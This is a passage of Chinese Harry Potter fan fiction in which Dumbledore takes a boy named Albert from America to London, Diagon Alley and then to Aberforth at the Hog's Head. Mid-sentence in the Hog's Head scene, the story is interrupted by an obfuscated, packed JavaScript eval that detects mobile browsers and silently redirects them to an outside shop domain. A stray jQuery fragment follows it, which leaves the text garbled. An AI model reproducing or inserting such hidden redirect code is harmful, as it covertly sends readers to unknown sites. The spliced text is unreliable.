机场比阿尔伯特想象的要大得多。
他站在航站楼大厅里仰着头，脖子弯成一个直角。天花板高得离谱，一排排日光灯管镶嵌在白色金属格栅里，光线均匀而冷淡，落在浅灰色的大理石地面上，像一层薄薄的白纱。行李箱轮子碾过地面的声音此起彼伏，像一场没有指挥的合奏。邓布利多牵着他走到柜台前面。
"两张去伦敦的头等舱。"
柜台后面的女士穿着深蓝色制服，头发盘成整齐的发髻。她在键盘上敲了几下，抬起眼睛看了看邓布利多，又看了看他，笑了一下。"这位小朋友是——"
"我亲戚家的孩子。"
那位女士的笑容深了一点，职业素养让她把笑意压了下去。她低下头，又敲了几下键盘，然后报了一个数字。
一千一百美元。
阿尔伯特以为自己听错了。他在孤儿院的时候听玛丽修女念叨过，孤儿院一个月的开销是四百美元，够所有人吃穿用度。一张机票一千一百美元。他偷偷算了一下，够孤儿院花将近三个月。他抬起眼皮看了看邓布利多。
老人正从大衣内侧掏出一个棕色的皮夹，边角磨得发白。他抽出几张钞票递给柜台后面的女士，动作自然得像在路边买一份报纸。阿尔伯特盯着那个皮夹看了一会儿，又低下头，假装在研究地板上的大理石纹路。
柜台后面的女士把两张登机牌和一个信封推过来。"祝您旅途愉快，邓布利多先生。"
邓布利多接过登机牌，低头看了一眼，把手伸向阿尔伯特。"走吧。"
---
登机口在一扇巨大的玻璃墙后面。阿尔伯特隔着玻璃看到那架飞机的时候，脚步顿了一下。
白色的机身，机翼从机身两侧伸出来，后掠的，翼尖微微上翘，他联想到某种鸟类收拢到一半的翅膀。四个引擎挂在机翼下面，圆形进气口在午后的阳光里投出四道短粗的影子。机身上印着一行蓝色的字母。
登机的过程他记不太清了。走过一条长长的封闭通道，地板踩上去有微微的弹性。通道尽头是舱门，一位穿浅蓝色制服的空乘笑着对他说"欢迎登机"。
头等舱和他想象的完全不一样。座椅只有两排，左边两个右边两个，深蓝色的绒面，宽大得像会客室的沙发。间距大得离谱，他的腿伸直了都够不到前排座椅的靠背。邓布利多在他身后轻轻按了一下肩膀，把他引向靠窗的位置。他坐下去，屁股陷进柔软的坐垫里，整个人被包裹住，像陷进了一团云。小腿悬在座椅边缘外面晃了两下，脚尖碰到一个东西——折叠式金属踏板弹出来，刚刚好卡在他能够到的位置。
"安全带。"邓布利多说。
阿尔伯特在座椅两侧摸索了一下，找到两根金属搭扣，扣在一起。"咔嗒"一声。他低头看了看那根横跨过腰部的深蓝色织带，又抬头看了看邓布利多。老人已经在他旁边坐下来，正在把大衣叠好放在膝盖上。他没有系安全带，靠在椅背上，十指交叉放在腹部，眼睛半阖着，阿尔伯特觉得他像一只在晒太阳的老猫。
阿尔伯特把目光转回窗外。地勤人员在飞机下面跑来跑去，穿着亮橙色反光背心，挥舞着两根荧光棒。远处一架更大的飞机正在滑行，机翼在跑道尽头微微上翘，然后整个机身抬了起来，离开地面，越升越高，最后变成一个小点消失在云层里。
他的心跳快了半拍。不知道自己是在紧张还是在兴奋。也许两者都有。
---
英国伦敦
出租车穿过街道。阿尔伯特的脸贴在窗户上，看着那些低矮的红色砖房一排一排地往后滑过去。屋顶上竖着细细的烟囱，有些还在往外冒着淡灰色的烟，升到半空中就散了，和那层灰白色的雾融在一起。路边的树叶子落了满地，金黄色的、褐色的，铺在潮湿的人行道上，被风卷起来贴在墙根打转。偶尔有一只黑猫蹲在某个窗台上，眯着眼，对这个世界爱搭不理的样子。
出租车在一家书店门口停了下来。阿尔伯特看着那扇门——窄窄的，夹在一家唱片店和一家卖旧书的小铺子之间，门漆是黑色的，上面的金色字迹剥落了一小半，只剩下"与"字和"书"字的半边还看得清楚。邓布利多付了车费，推开车门，阿尔伯特跟在他身后下了车。他仰起头看了看那扇门，又看了看邓布利多。
邓布利多低头看了他一眼，嘴角弯了一下。"这里是破釜酒吧，有时候，最有趣的地方藏在最不起眼的入口后面。"
他推开那扇门。门轴发出"吱呀"一声轻响。阿尔伯特跟在后面走进去，穿过一条窄窄的通道，脚步踩在石头地面上，发出空空的回响。通道不长，拐了两个弯，然后在第三个拐角处，邓布利多推开另一扇门——也是黑色的，但没有门牌——外面忽然亮了。
破釜酒吧的大厅比他从外面想象的要大得多。木质吧台沿着左侧墙壁延伸出去，台面被无数只酒杯的底部磨出了一层温润的光泽，木纹在昏黄的灯光下像水波一样流动。右侧散落着几张深色圆桌和配套的椅子，有几张坐着人，要么在低头喝什么，要么在轻声交谈。壁炉里的火烧得正旺，橘红色的火光在天花板上跳着，把整个空间拢进一种暖融融的昏黄里。
吧台后面站着一位胖胖的、秃顶的男人，正在用一块白布擦一只玻璃杯，擦得那么专注，像那杯子是什么价值连城的宝贝。他抬起头，看到邓布利多走进来，手里的布忽然停住了。
"邓布利多先生。"他说。声音不大，但大厅里所有人都听见了。瞬间，整个酒吧的空气就像被一根看不见的棍子搅了一下——原本靠在吧台边低声聊天的两个人停了下来，杯沿离嘴唇还有半寸就定住了。坐在角落的一个穿紫色长袍的老妇人转过头来，目光在邓布利多身上停了一下，又移开了。另一张桌子旁的两个年轻人交换了一个眼神，嘴唇动了动，没出声，但阿尔伯特能看到他们的表情——那种"你看到了吗？真的是他"的表情。
酒吧老板把杯子放下，绕出吧台，快步走了过来。他伸出手，邓布利多握住了。那只胖胖的手在邓布利多的手掌里被攥了一下，松开。
"好久不见了，先生。"老板说，声音里带着一种小心翼翼的尊敬，阿尔伯特对这种语气并不陌生——玛丽修女对镇长说话时也是这样的——但又不完全相同。这种尊敬里多了一点亲热，像是对一个既敬畏又喜欢的人说话。
"好久不见，汤姆。"邓布利多说。他的声音很平常，和之前在会客室、在面包店门口、在电车上说话时的语气一模一样，好像他走进的只是街角的一家普通咖啡店。但那十几个人的目光还钉在他们身上。
阿尔伯特往邓布利多的方向靠了靠。他感觉到那些目光扫过他——好奇的、探究的、温和的——没有恶意，但足够让他不自在。他低下头，盯着自己的鞋尖。
邓布利多低头看了他一眼，没说什么。他转向汤姆，轻声说了一句什么——阿尔伯特没听清，只看见汤姆点了点头，目光也落到了阿尔伯特身上，停留了一两秒，然后笑了一下，那笑容里没有好奇，只有一种很朴实的善意。
"这边请。"汤姆说。
汤姆带着他们穿过大厅，绕过吧台，走向后门。推开那扇木门，外面是一个窄小的天井，四面围着高墙，墙根处长着几丛蔫头耷脑的杂草。光线从上方斜斜地落下来，在石板地上切出一块灰白色的菱形。
阿尔伯特站在天井里，四处看了看。这里空荡荡的，只有一个生锈的铁皮垃圾桶靠在角落，桶盖上蹲着一只胖乎乎的虎斑猫，正用一种“你们来干嘛”的眼神打量着他。
邓布利多走上前去。他停在那面墙前，目光扫过砖面，然后伸出手——干燥的、指节分明的手——用食指和中指的指节，在垃圾桶上方第三块砖上轻轻叩了两下。
“笃笃。”
那两块砖动了一下。先是中间那条灰缝裂开一道细纹，然后整块砖向内缩了进去，像被什么东西从里面吸了一下。接着旁边的砖也开始移动——一块接一块，从中心向四周旋开，露出一个逐渐扩大的拱形洞口，边缘的灰尘在光线下飘散成细碎的金粉。
他站着没动，回头看了一眼——那道拱门还在，边缘的砖块仍在缓慢地、几乎不可察觉地旋转着。
"这是什么地方？"他问
“对角巷，你可以理解为一个商业区。大多数巫师买东西的地方。坩埚店、魔杖店、猫头鹰店、书店——你需要的东西，大部分都能在这里找到。”
阿尔伯特点点头，他对这个全新的世界充满好奇但他决定先做一个观察者。
街面宽阔起来。两边的店铺一家挨着一家挤在一起，像一排被塞得太满的书架，每家的招牌都用不同的颜色、不同的字体、不同的语言写着。有家店门口挂着几十只坩埚——铜的、锡的、银的，大大小小，在光线下泛着亮闪闪的圈圈光晕。旁边一家店的橱窗里摆着好几只猫头鹰，有的眯着眼在打盹，有的用喙慢悠悠地梳理胸前的羽毛，一只雪白的猫头鹰歪着脑袋看他。再往前，一家书店的门口堆着好几摞旧书，封面上的字在风里微微翘起一角，露出一小片发黄的纸页。
"那是魁地奇用品店，"邓布利多顺着他的目光看过去，指着一家挂着金色飞贼招牌的店铺说，"如果你喜欢飞天扫帚的话。"
阿尔伯特想象了一下自己骑在一把扫帚上的样子，忍不住皱了一下鼻子。那个画面有点奇怪。他收回目光，看向街面上——一辆马车正从远处驶来。金色的，不大，和普通的四轮马车差不多，但奇怪的是没有马，也没有任何动物拉着它，可它就是在走。车轮碾过鹅卵石路面，"咕噜噜"地响着，一步一步地朝他们这边过来。车厢上空荡荡的，车夫座上也没有人。
"拉车的是一种叫做夜骐的生物，"邓布利多说，"只有亲眼见过死亡的人才能看见它们。"
阿尔伯特脑子里浮现出一些东西，他见过死亡吗？他记得一些事情——一间房间，白色的墙壁，窗帘拉了一半，光从缝隙里挤进来像一根针。他记得有人躺在床上，很安静，脸是那种发灰的颜色。他当时站在床边，有人在他身后说话，但他不记得说的是什么。那个躺在床上的人是谁，他也不知道。也许是他妈妈。也许不是。
他站在马车前面，看着空荡荡的挽具悬在那里，在空气里轻轻摇晃。
邓布利多招了一下手，马车在他们面前停下了。车门自己打开，露出里面的软垫座椅。阿尔伯特爬了上去，坐在窗边。
马车穿过对角巷的尽头，拐上了一条更宽的街道，两边的建筑风格变得不一样了——更老、更旧、石头墙面上爬满了深绿色的藤蔓，窗户窄而高，窗玻璃在灰白的天光下映出一层淡淡的银色。阿尔伯特注意到马车在一道铁门前停了一下，铁门自己向两边滑开，露出一条长长的路。路的尽头是一座村庄。
邓布利多跟他说那是霍格莫德，他的曾祖父阿不福思就在那。
阿尔伯特站在村口，看着那些被积雪覆盖的屋顶和烟囱。石头垒成的房屋沿着一条铺着鹅卵石的主街排列开去，每一家的窗台上都摆着花盆，里面种着某种深紫色的、像铃铛一样的花朵。远处有一座教堂的尖顶，尖顶上停着一只乌鸦。空气更冷、更干净、带着松木和泥土的气息。脚下的雪发出"咯吱咯吱"的声响，阿尔伯特有些忐忑。
---
阿不思推开猪头酒吧那扇厚重的木门，阿尔伯特跟在他身后，刚迈进去半步，就听见"砰"的一声巨响。一只玻璃杯从吧台后面飞过来，擦着阿不思的耳侧砸在门框上，碎玻璃溅了一地。
阿尔伯特整个人僵住了。他还没看清里面的情形，肩膀已经本能地缩了一下，往后半退了一步，手指攥紧了门边。他看到阿不思微微侧了一下头，玻璃碴子从他肩头落下来。
吧台后面站着一个男人。矮壮的身形背着光，看不清脸，但阿尔伯特能看到一个轮廓——宽厚的肩膀、灰白的头发乱蓬蓬地披着，一堵粗粝的石墙。
"滚。"那个人的声音像碎石在铁板上刮过。
"阿不福思——”阿不思开口了。他的声音很平稳，但阿尔伯特注意到他的背比刚才挺直了一些。
"我说了，滚。"阿不福思从吧台后面绕了出来，两只手攥成拳头垂在身体两侧。他的个子比阿不思矮一些，但肩膀更宽。
"我不需要你来提醒我你又做了什么好事。"
阿尔伯特站在门口，两只脚像被钉在了地板上。他从没见过阿不思这样——那个永远从容、永远温和的老人，此刻站在这个昏暗的酒吧里，背对着门口的光，肩膀的线条绷紧了。
"我不是来谈那些事的。"阿不思说。他顿了一下，然后侧过身，朝门口的方向偏了一下头。阿尔伯特感觉到那束目光落在了自己身上——他下意识想往后缩，但没有动。
阿不福思顺着阿不思的目光看了过来。然后他停住了。他的视线落在阿尔伯特脸上，从眉毛到眼睛到鼻子到嘴巴，一寸一寸地扫过去，像在拼一幅拼图。他的表情从愤怒变成了困惑，又从困惑变成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786423|210180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一种阿尔伯特看不懂的东西。
"他是谁？"阿不福思的声音变了。
阿不思没有立刻回答。他站在阿不福思和阿尔伯特之间，半侧着身，一只手微微抬起来——像在拦什么，又像在指什么。
"克雷登斯的外孙。"他说。
那只玻璃杯的碎片还躺在地上。阿尔伯特听见自己的心跳声从耳朵里灌进来，"咚咚咚"的，像一个不肯停下来的鼓。他看到阿不福思的嘴唇动了动，但没有声音出来。他看到阿不福思的手从身体两侧抬起来，攥紧又松开，松开又攥紧。
"什么？"阿不福思说。他的声音是哑的。"你说什么？"。
阿不思从口袋里掏出魔杖，轻轻挥了一下。地上的碎玻璃聚拢起来，重新拼合成一只完整的玻璃杯，自己跳回了吧台上。他往前走了两步，把大衣角整了整，在吧台旁的高脚凳上坐下来。
"克雷登斯还有孩子？"阿不福思说。声音从喉咙深处挤出来。
"他可能自己都不知道。"阿不思说，"潘妮出生的时候克雷斯登已经不在了。她的母亲带着她去了美国，没有回来。"
"你那时候就知道？"
阿不思没有回答。
吧台上的那只玻璃杯跳了一下，杯底在木面上磕出一声闷响。阿不福思的手按在吧台边缘，指节发白。
"你那时候就知道。"阿不福思又说了一遍。这一次有点咬牙切齿的意味。"你知道克雷斯登有个女儿。你知道那孩子活着。你知道她后来有了孩子。你什么都知道。你谁都没告诉。"
"她是个哑炮。"阿不思说。他的语气还是很平和，但阿尔伯特注意到他的手指在膝盖上交叉着，十指叠得很紧。"她母亲想让她过普通人的生活。她在美国长大，读书，工作——她没有魔法能力，阿不福思。你让她回来做什么？"
阿不福思的拳头砸在吧台上。"砰"的一声，木面凹下去一小块。
"她是我的孙女！"他的声音终于有了裂痕。"她是克雷斯登的孩子！我连她长什么样都不知道！"
阿尔伯特的肩膀又缩了一下。他的后背贴着门框，冰凉的木头透过衬衫渗进来。他看着阿不福思的背影——那些绷紧的、颤抖的、像被大风刮弯了的树一样绷着不肯倒下去的肩膀。他看到阿不思坐在高脚凳上，上半身微微前倾，手从膝盖上抬起来，没有碰阿不福思，只是悬在离他胳膊两寸的地方。
"潘妮不愿意回来。"阿不思说。他的声音更轻了。"她有自己的生活。"
"那你至少告诉我！"
沉默再次落下来。壁炉里的火在噼啪响着，影子在墙上晃动。阿不福思的背影站在吧台前面，那些绷紧的肌肉慢慢松下来，肩膀沉下去一点。
阿尔伯特忽然发现自己的手不再攥着门框了。他的指尖不知道什么时候松开来了，垂在身体两侧。他看着阿不福思的背影，看着那些慢慢沉下去的肩膀。
阿不福思转了过来。他的目光又一次落在阿尔伯特脸上。这一次那道目光不再像箭了，更像一只手——一只粗糙的、布满了硬茧的手，隔着空气伸过来，悬着，没有碰他。
"你叫什么？"他的声音沙沙的。
阿尔伯特张了张嘴。他想说"阿尔伯特"，但喉咙像被什么堵住了。他咽了一下，又张了一次嘴。
"……阿尔伯特。"
阿不福思点了一下头。他看了阿尔伯特几秒，然后把目光移开了，落在吧台上那道新的凹痕上，看着那只跳起来又落回去的玻璃杯。
"你走，"他说。声音低哑，对着阿不思的方向。"他留下。"
阿尔伯特看到阿不思从高脚凳上站起来。他没有立刻走，而是站在原地看了阿不福思一眼，目光从他的脸移到吧台上新砸出来的凹痕上，移到地上那片被重新拼好的玻璃杯上。然后他点了点头。很轻，几乎是看不见的。
他蹲了下来。大衣角铺在地上，灰白色的胡子垂到胸口，蹲到和阿尔伯特一样高的位置。那双蓝眼睛从半月形镜片上方看过来，温和的，平静的。
"我要走了，"他说，"但你在这里是安全的。"
他没有多说什么，手在阿尔伯特的肩膀上停了一下。然后他站了起来，大衣的下摆扫过地面，推开那扇厚重的木门，走了出去。门在他身后合上，发出一声闷响。
酒吧里安静下来。壁炉里的火跳动着，把两个人的影子拉长又缩短。阿尔伯特站在门边，手指绞在一起，看着吧台后面那个人。阿不福思没有看他。他盯着吧台上那道凹痕看了很久，然后伸手拿起那只玻璃杯，翻过来看了看杯底，又放下。他的肩膀又沉下去了一点。
阿尔伯特也不知道做什么反应，他低着头攥着衣角盯着地面不敢吭声，酒吧里有一股浓郁的山羊气味。
阿不福思没说什么，扯来一个吧台凳，抱着阿尔伯特把他放到了凳子上。
阿尔伯特整个人僵了一下。阿不福思的胳膊很硬，像两根被旧衣服裹着的树干，箍在他的腋下，把他轻轻一提就放到了吧台凳上。凳子很高，阿尔伯特的脚悬在半空中，够不到下面的横梁，鞋尖在空气里微微晃了两下就停住了。他的手指还攥着衣角，指节发白，目光垂在吧台面上，盯着那道新砸出来的凹痕和旁边细碎的裂纹。
阿不福思站在他旁边。那只粗糙的手离开他之后，那种被箍住的感觉还留在他肋骨两侧，像两道淡淡的印子。他闻到一股很浓的气味——就是从阿不福思身上散发出来的，一股山羊味，闷闷的、热烘烘的，带着一种毛皮和干草混在一起的气息，不算难闻，但很重，像一层看不见的雾气裹在他周围。阿尔伯特忍不住吸了一下鼻子。他想问"你养山羊吗"，但话到嘴边又咽回去了。他不太确定现在能不能开口说话。
"饿吗？"他问。
阿尔伯特想了想，点了一下头。
阿不福思转过身，从架子上拿下一只铁锅。动作很粗，一点也不轻柔，但他把锅放上炉子的时候，火焰忽地蹿起来，把锅底包住，火光映在他布满皱纹的脸上，那些皱纹的边缘在暖光里变得柔和了一些。
阿尔伯特坐在吧台凳上，看着那个宽阔的背影在炉子前面忙活。他看着那些粗粝的、布满了硬茧的手指，在打鸡蛋的时候出奇地稳。阿尔伯特发现他每隔一会儿就会微微偏一下头，用余光扫一眼自己坐的位置。
猪头酒吧的炉火噼啪响着，铁锅里的黄油开始滋滋冒泡，一股暖烘烘的、煎鸡蛋的气味在房间里弥漫开来。